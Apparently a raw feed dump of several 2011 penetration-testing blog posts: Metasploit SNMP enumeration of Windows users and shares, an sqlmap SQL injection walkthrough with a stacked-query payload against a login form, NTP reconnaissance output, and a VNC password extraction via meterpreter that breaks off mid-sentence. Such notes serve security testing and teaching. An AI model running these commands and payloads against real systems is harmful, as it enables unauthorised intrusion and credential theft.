"&gt;&lt;em&gt;&lt;/em&gt;&lt;blockquote&gt;&lt;em&gt;This post and really any methodology document you will ever read or write will have gaps, because no document on this subject can ever really be 100% all inclusive of every vulnerability and the myriad of variations that exist for many of these&lt;/em&gt;. &lt;/blockquote&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I think it drives the point home as well.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;-CG&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-7031169515328734367?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/7031169515328734367/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=7031169515328734367' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/7031169515328734367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/7031169515328734367'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/04/data-driven-pentestsdont-you-mean.html' title='Data Driven Pentests...Don&apos;t You mean Vulnerability Assessments?'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-912340714779769867</id><published>2011-03-23T16:27:00.004-04:00</published><updated>2011-03-23T16:45:45.005-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='snmp'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>New SNMP Metasploit Modules</title><content type='html'>my new favorite modules (for today) are the snmp_enumusers and snmp_enumshares modules that work against windows hosts that have snmp running.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;msf &gt; use auxiliary/scanner/snmp/&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;use auxiliary/scanner/snmp/aix_version&lt;br /&gt;use auxiliary/scanner/snmp/snmp_enumshares&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;use auxiliary/scanner/snmp/cisco_config_tftp&lt;br /&gt;use auxiliary/scanner/snmp/snmp_enumusers&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;use auxiliary/scanner/snmp/cisco_upload_file&lt;br /&gt;use auxiliary/scanner/snmp/snmp_login&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;use auxiliary/scanner/snmp/snmp_enum&lt;br /&gt;use auxiliary/scanner/snmp/snmp_set&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;msf &gt; use auxiliary/scanner/snmp/snmp_login &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;msf auxiliary(snmp_login) &gt; set RHOSTS 192.168.100.119&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;RHOSTS =&gt; &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;192.168.100.119&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;msf auxiliary(snmp_login) &gt; run&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;[+] SNMP: &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;192.168.100.119&lt;/span&gt;&lt;span style="font-family: courier new;"&gt; community string: 'public' info: 'Hardware: x86 Family 6 Model 23 Stepping 6 AT/AT COMPATIBLE - Software: Windows Version 5.2 (Build 3790 Multiprocessor Free)'&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;[+] SNMP: &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;192.168.100.119&lt;/span&gt;&lt;span style="font-family: courier new;"&gt; community string: 'private' info: 'Hardware: x86 Family 6 Model 23 Stepping 6 AT/AT COMPATIBLE - Software: Windows Version 5.2 (Build 3790 Multiprocessor Free)'&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;[*] Validating scan results from 1 hosts...&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;[*] Host &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;192.168.100.119&lt;/span&gt;&lt;span style="font-family: courier new;"&gt; provides READ-WRITE access with community 'private'&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;[*] Auxiliary module execution completed&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;msf auxiliary(snmp_login) &gt; use auxiliary/scanner/snmp/snmp_enumusers&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;msf auxiliary(snmp_enumusers) &gt; info&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;...SNIP...&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;Description:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;  This module will use LanManager OID values to enumerate local user  accounts on a Windows system via SNMP&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;msf auxiliary(snmp_enumusers) &gt; set RHOSTS &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;192.168.100.119&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;RHOSTS =&gt; &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;192.168.100.119&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;msf auxiliary(snmp_enumusers) &gt; run&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;[+] &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;192.168.100.119&lt;/span&gt;&lt;span style="font-family: courier new;"&gt; Found Users: ASPNET, Administrator, Guest, IUSR_SRV, IWAM_SRV, SUPPORT_388945a0 &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;[*] Auxiliary module execution completed&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;msf auxiliary(snmp_enumusers) &gt; use auxiliary/scanner/snmp/snmp_enumshares&lt;br /&gt;msf auxiliary(snmp_enumshares) &gt; info&lt;br /&gt;...SNIP...&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;Description:&lt;br /&gt;This module will use LanManager OID values to enumerate SMB shares on a Windows system via SNMP&lt;br /&gt;&lt;br /&gt;msf auxiliary(snmp_enumshares) &gt; set RHOSTS &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;192.168.100.119&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;RHOSTS =&gt; &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;192.168.100.119&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;msf auxiliary(snmp_enumshares) &gt; run&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;[+] &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;192.168.100.119&lt;/span&gt;&lt;span style="font-family: courier new;"&gt; &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;    backup -  (C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\backup)&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;    MetaInfoBack -  (C:\WINDOWS\system32\inetsrv\MetaInfoBack)&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;    NewBackup2 -  (J:\NewBackup2)&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;    SharepointBackup -  (K:\SharepointBackup)&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;[*] Auxiliary module execution completed&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-912340714779769867?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/912340714779769867/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=912340714779769867' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/912340714779769867'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/912340714779769867'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/03/new-snmp-metasploit-modules.html' title='New SNMP Metasploit Modules'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-4290588195473254342</id><published>2011-03-21T08:29:00.002-04:00</published><updated>2011-03-21T08:29:00.127-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL  Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='sqlmap'/><title type='text'>sqlmap with POST requests</title><content type='html'>&lt;div&gt;Notes for sqlmap and POST requests since every f**king tutorial only covers GETs&lt;br /&gt;&lt;br /&gt;options you'll want to use&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;-u URL, --url=URL &lt;-- Target url &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;--method=METHOD &lt;-- HTTP method, GET or POST (default GET) &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;--data=DATA &lt;-- Data string to be sent through POST &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;strong&gt;-p TESTPARAMETER &lt;-- Testable parameter(s)&lt;/strong&gt;&lt;br /&gt;--prefix=PREFIX &lt;-- Injection payload prefix string &lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style="font-family:courier new;"&gt;--postfix=POSTFIX &lt;-- Injection payload postfix string &lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style="font-family:courier new;"&gt;--dbms=DBMS &lt;--Force back-end DBMS to this value&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;br /&gt;*--dbms= if sqlmap is sucking&lt;br /&gt;&lt;br /&gt;we'll assume we have a simple post request&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;user@ubuntu:~/pentest/sqlmap-dev$ python sqlmap.py -u "http://192.168.1.100/fancyshmancy/login.aspx" --method POST --data "usernameTxt=blah&amp;amp;passwordTxt=blah&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&amp;amp;submitBtn=Log+On" -p "usernameTxt" --prefix="')" --dbms=mssql -v 2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;--method to pass the POST option&lt;br /&gt;&lt;br /&gt;--data to pass the paramaters that are required for the POST&lt;br /&gt;&lt;br /&gt;-p to pass the injectable field, so in this case the username field (usernameTxt)&lt;br /&gt;&lt;br /&gt;--prefix to pass what needs to be passed before we can inject. we had to issue a tick ( &lt;strong&gt;'&lt;/strong&gt; ) and right parenthesis ( &lt;strong&gt;)&lt;/strong&gt; ) to close out the query&lt;br /&gt;&lt;br /&gt;--dbms to tell it the backend was mssql&lt;br /&gt;&lt;br /&gt;this yields us an sqlmap query like so:&lt;br /&gt;&lt;br /&gt;Place: POST&lt;br /&gt;Parameter: usernameTxt&lt;br /&gt;Type: stacked queries&lt;br /&gt;Title: Microsoft SQL Server/Sybase stacked queries&lt;br /&gt;Payload: usernameTxt=blah'); WAITFOR DELAY '0:0:5';-- AND ('yTwo'='yTwo&amp;amp;passwordTxt=blah&amp;amp;submitBtn=Log+On&lt;br /&gt;--- &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-4290588195473254342?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/4290588195473254342/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=4290588195473254342' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/4290588195473254342'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/4290588195473254342'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/03/sqlmap-with-post-requests.html' title='sqlmap with POST requests'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-5010611335661441828</id><published>2011-03-18T10:56:00.000-04:00</published><updated>2011-03-18T10:56:00.240-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='NTP'/><title type='text'>I forgot my NTP stuff, so here's more notes on it</title><content type='html'>yeah what the title says, for some reason the NTP module  wasn't working for me in Metasploit so i had to remember how to use the NTP tools to pull some info.&lt;br /&gt;&lt;br /&gt;here are my notes:&lt;br /&gt;&lt;br /&gt;http://www.eecis.udel.edu/~mills/ntp/html/ntpdc.html&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;ntpdc -c sysinfo 192.168.1.205&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;ntpdc -c monolist 192.168.1.205&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;ntpdc -c listpeers 192.168.1.205&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;ntpdc -c peers 192.168.1.205&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;ntpdc -c reslist 192.168.1.205&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://www.eecis.udel.edu/~mills/ntp/html/ntpq.html&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;ntpq 192.168.1.205&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;-&gt; version&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;-&gt; host&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;-&gt; readlist&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;-&gt; lpeers&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;-&gt; hostnames&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;-&gt; keytype&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;-&gt; ntpversion&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;-&gt; associations&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;-&gt; pstatus [#]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;ntpq&gt; help&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;ntpq commands:&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;addvars        debug          lopeers        passociations  rl             &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;associations   delay          lpassociations passwd         rmvars         &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;authenticate   exit           lpeers         peers          rv             &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;cl             help           mreadlist      poll           showvars       &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;clearvars      host           mreadvar       pstatus        timeout        &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;clocklist      hostnames      mrl            quit           version        &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;clockvar       keyid          mrv            raw            writelist      &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;cooked         keytype        ntpversion     readlist       writevar       &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;cv             lassociations  opeers         readvar        &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;ntpq&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;chris@notbt:/pentest$ ntpq 192.168.1.60&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;ntpq&gt; lpeers&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;     remote           refid      st t when poll reach   delay   offset  jitter&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;==============================================================================&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;*computerville.wxy.suk 192.168.1.108   2 u  338 1024  377   35.327   -0.702   1.030&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;ntpq&gt; version&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;ntpq 4.2.4p8@1.1612-o Fri Apr  9 00:28:48 UTC 2010 (1)&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;ntpq&gt; host&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;current host is 192.168.1.60&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;ntpq&gt; readlist&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;assID=0 status=0658 leap_none, sync_ntp, 5 events, event_8,&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;version="ntpd 4.2.6p2@1.2194-o Sun Oct 17 02:04:37 UTC 2010 (1)",&lt;/span&gt;&lt;span style="font-family: courier new;"&gt; processor="x86_64", system="Linux/2.6.35.4-x86_64-linode16", leap=00,&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;strasuk=3, precision=-20, rootdelay=58.612, rootdisp=86.969,&lt;/span&gt;&lt;span style="font-family: courier new;"&gt; refid=1.2.3.102,&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;reftime=d12a932f.e1697c36  Wed, Mar 16 2011  1:38:55.880,&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;clock=d12a98c9.eee329a7  Wed, Mar 16 2011  2:02:49.933, peer=18290,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;tc=10, mintc=3, offset=-0.702, frequency=-16.787, sys_jitter=1.061,&lt;/span&gt;&lt;span style="font-family: courier new;"&gt; clk_jitter=0.881, clk_wander=0.144&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;ntpq&gt; hostnames&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;hostnames being shown&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;ntpq&gt; keytype&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;keytype is MD5&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;ntpq&gt; ntpversion&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;NTP version being claimed is 2&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;ntpq&gt; associations&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;ind assID status  conf reach auth condition  last_event cnt&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;===========================================================&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;  1 18290  964a   yes   yes  none  sys.peer              4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;ntpq&gt; pstatus 18290&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;assID=18290 status=964a reach, conf, sel_sys.peer, 4 events, event_10,&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;srcadr=computerville.wxy.suk.de, srcport=123, dstadr=192.168.1.60,&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;dstport=123, leap=00, strasuk=2, precision=-20, rootdelay=22.964,&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;rootdisp=33.768, refid=192.168.1.108,&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;reftime=d12a9360.1f34b00f  Wed, Mar 16 2011  1:39:44.121,&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;rec=d12a976a.e177c84f  Wed, Mar 16 2011  1:56:58.880, reach=377,&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;unreach=0, hmode=3, pmode=4, hpoll=10, ppoll=10, headway=0, flash=00 ok,&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;keyid=0, offset=-0.702, delay=35.327, dispersion=19.528, jitter=1.030,&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;xleave=0.050,&lt;/span&gt;&lt;span style="font-family: courier new;"&gt; filtdelay=    35.56   35.33   35.47   35.69   35.81   35.42   35.38   35.58,&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;filtoffset=   -0.85   -0.70   -0.86   -1.42   -1.63   -1.90   -2.42   -1.97,&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;filtdisp=      0.00   16.25   32.00   47.93   63.45   79.40   95.69  111.96&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;chris@notbt:/pentest$ ntpdc -c monlist 192.168.1.60&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;remote address          port local address      count m ver code avgint  lstint&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;===============================================================================&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;computerville.wxy.suk.de       123 192.168.1.60       6832 4 4   &lt;br /&gt;90   1044     476&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;chris@notbt:/pentest$ ntpdc -c sysinfo 192.168.1.60&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;system peer:          computerville.wxy.suk.de&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;system peer mode:     client&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;leap indicator:       00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;strasuk:              3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;precision:            -20&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;root distance:        0.05861 s&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;root dispersion:      0.08899 s&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;reference ID:         [1.2.3.102]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;reference time:       d12a932f.e1697c36  Wed, Mar 16 2011  1:38:55.880&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;system flags:         auth monitor ntp kernel stats &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;jitter:               0.001053 s&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;stability:            0.000 ppm&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;broadcastdelay:       0.000000 s&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;authdelay:            0.000000 s&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;chris@notbt:/pentest$ ntpdc -c listpeers 192.168.1.60&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;client    computerville.wxy.suk.de&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;chris@notbt:/pentest$ ntpdc -c peers 192.168.1.60&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;     remote           local      st poll reach  delay   offset    disp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;=======================================================================&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;*computerville.wxy.suk 192.168.1.60    2 1024  377 0.03532 -0.000702 0.13974&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;&lt;br /&gt;chris@notbt:/pentest$ ntpdc -c reslist 192.168.1.60&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;   address          mask            count        flags&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;=====================================================================&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;0.0.0.0         0.0.0.0              6846  nomodify, nopeer&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;some-domain 255.255.255.255         0  none&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;some-domain 255.255.255.255         0  ignore&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;osafs.org       255.255.255.255         0  ignore&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;::              ::                      0  nomodify, nopeer&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;ip6-localhost   ffff:ffff:ffff:         0  ignore&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;fe80::fcfd:b2ff ffff:ffff:ffff:         0  ignore&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-5010611335661441828?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/5010611335661441828/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=5010611335661441828' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/5010611335661441828'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/5010611335661441828'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/03/i-forgot-my-ntp-stuff-so-heres-more.html' title='I forgot my NTP stuff, so here&apos;s more notes on it'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-6221071571134146716</id><published>2011-03-15T22:32:00.003-04:00</published><updated>2011-03-15T22:47:55.283-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VNC'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>VNC passwords and Metasploit and DES</title><content type='html'>inside your meterpreter shell run getvncpw&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: courier new;"&gt;meterpreter &gt; run getvncpw &lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;[*] Searching for VNC Passwords in the registry....&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&lt;br /&gt;[*] FOUND in HKLM\Software\RealVNC\WinVNC4 -=&gt; 3290e903b5bf3769 =&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;you're probably asking yourself what the F kind of password 3290e... is. Well its DES encrypted.  Lucky for us the key is 